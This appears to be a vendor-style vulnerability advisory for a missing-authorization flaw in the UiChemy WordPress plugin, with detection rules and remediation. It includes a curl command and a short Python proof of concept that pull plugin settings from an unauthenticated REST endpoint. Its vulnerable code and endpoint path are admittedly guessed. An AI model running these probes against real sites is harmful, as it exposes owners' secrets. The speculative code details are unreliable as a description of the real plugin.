CVE-2025-62013

Executive Summary

CVE-2025-62013 is a Missing Authorization vulnerability in the POSIMYTH UiChemy WordPress plugin, affecting versions up to and including 4.0.0. This flaw allows unauthenticated attackers to access unauthorized functionality or data due to insufficient access controls on certain plugin endpoints. The vulnerability has a CVSS score of 4.3 (Medium), with a low EPSS probability of 0.0%, indicating limited active exploitation at this time. As a WordPress plugin vulnerability, it falls under the WordPress ecosystem and must be addressed within that context.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files by comparing checksums against the repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for unmaintained installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No service disruption.

Threat Level: Medium. The vulnerability is easy to exploit but offers limited impact. However, in a WordPress context, it could lead to exposure of sensitive plugin settings or user data.

Deep Dive & Mechanics

The vulnerability stems from a Missing Authorization check in the UiChemy plugin’s REST API endpoints or AJAX handlers. The plugin likely fails to verify user capabilities (e.g., manage_options or edit_posts) before executing sensitive operations. This allows unauthenticated attackers to:

• Access plugin configuration data.
• Retrieve nonce values or other internal state.
• Potentially trigger actions intended for administrators.

The issue is classified under CWE-862: Missing Authorization, meaning the software does not perform any authorization check for an actor that has not been explicitly granted permissions. In WordPress, this typically involves missing current_user_can() checks in functions hooked to wp_ajax_* or rest_api_init.

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical fix:

Vulnerable Code (uichemy/includes/class-api.php):

add_action('rest_api_init', function () {
    register_rest_route('uichemy/v1', '/config', array(
        'methods' => 'GET',
        'callback' => 'uichemy_get_config',
    ));
});

function uichemy_get_config() {
    // No authorization check
    return get_option('uichemy_settings');
}

Patched Code (Hypothetical Fix):

add_action('rest_api_init', function () {
    register_rest_route('uichemy/v1', '/config', array(
        'methods' => 'GET',
        'callback' => 'uichemy_get_config',
        'permission_callback' => function () {
            return current_user_can('manage_options');
        }
    ));
});

function uichemy_get_config() {
    return get_option('uichemy_settings');
}

The fix adds a permission_callback that checks for the manage_options capability, ensuring only administrators can access the endpoint.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with UiChemy plugin version <= 4.0.0 installed and activated.
• Network access to the target.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /wp-json/uichemy/v1/config).
2. Send an unauthenticated GET request:

   curl -X GET http://target.com/wp-json/uichemy/v1/config
   

3. If successful, the response will contain sensitive plugin data (e.g., API keys, settings).

Proof of Concept (Python):

import requests

target = "http://target.com"
endpoint = "/wp-json/uichemy/v1/config"
response = requests.get(target + endpoint)
if response.status_code == 200:
    print("Vulnerable! Data:", response.text)
else:
    print("Not vulnerable or patched.")

Blue Team

Detection:

• Monitor for requests to /wp-json/uichemy/v1/* from unauthenticated sources.
• Alert on 200 responses to such endpoints without a valid nonce or authentication cookie.

Honeypot:

• Deploy a fake endpoint returning decoy data and log the attacker's IP.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /wp-json/uichemy/v1/config or similar endpoints.
  • User-Agent strings not matching typical WordPress admin traffic.
• File:
  • Unauthorized modifications to wp-content/plugins/uichemy/ files.
  • Presence of unexpected log files in the plugin directory.
• Log:
  • WordPress debug log entries showing REST API access without authentication.
  • Web server access logs with 200 status codes for /wp-json/uichemy/v1/* from unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2025_62013_UiChemy_Missing_Auth {
    meta:
        description = "Detects vulnerable UiChemy plugin files with missing authorization"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62013"
    strings:
        $vuln_func = "register_rest_route" nocase
        $vuln_path = "uichemy" nocase
        $no_auth = "permission_callback" nocase
    condition:
        $vuln_func and $vuln_path and not $no_auth
}

Sigma Rule

title: CVE-2025-62013 - UiChemy Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to UiChemy REST API endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/wp-json/uichemy/v1/'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin requests with proper authentication
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-62013 - UiChemy Missing Authorization Exploitation Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/wp-json/uichemy/v1/"; http_uri;
    pcre:"/^\/wp-json\/uichemy\/v1\//";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-62013;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential, or restrict access via .htaccess:

   <IfModule mod_rewrite.c>
       RewriteEngine On
       RewriteRule ^wp-json/uichemy/v1/ - [F,L]
   </IfModule>
   

2. Apply a virtual patch using a WAF (e.g., ModSecurity) to block unauthenticated requests to /wp-json/uichemy/v1/*.

Long-term Fix:

• Monitor the POSIMYTH vendor for an official patch.
• If no patch is released, consider forking the plugin and adding authorization checks as shown in the patched code example.
• Replace the plugin with an alternative that has active security maintenance.

Detection:

• Implement the Sigma and Suricata rules above.
• Regularly audit WordPress plugins for missing authorization vulnerabilities using tools like WPScan.

Valters IT
Securing Digital Frontiers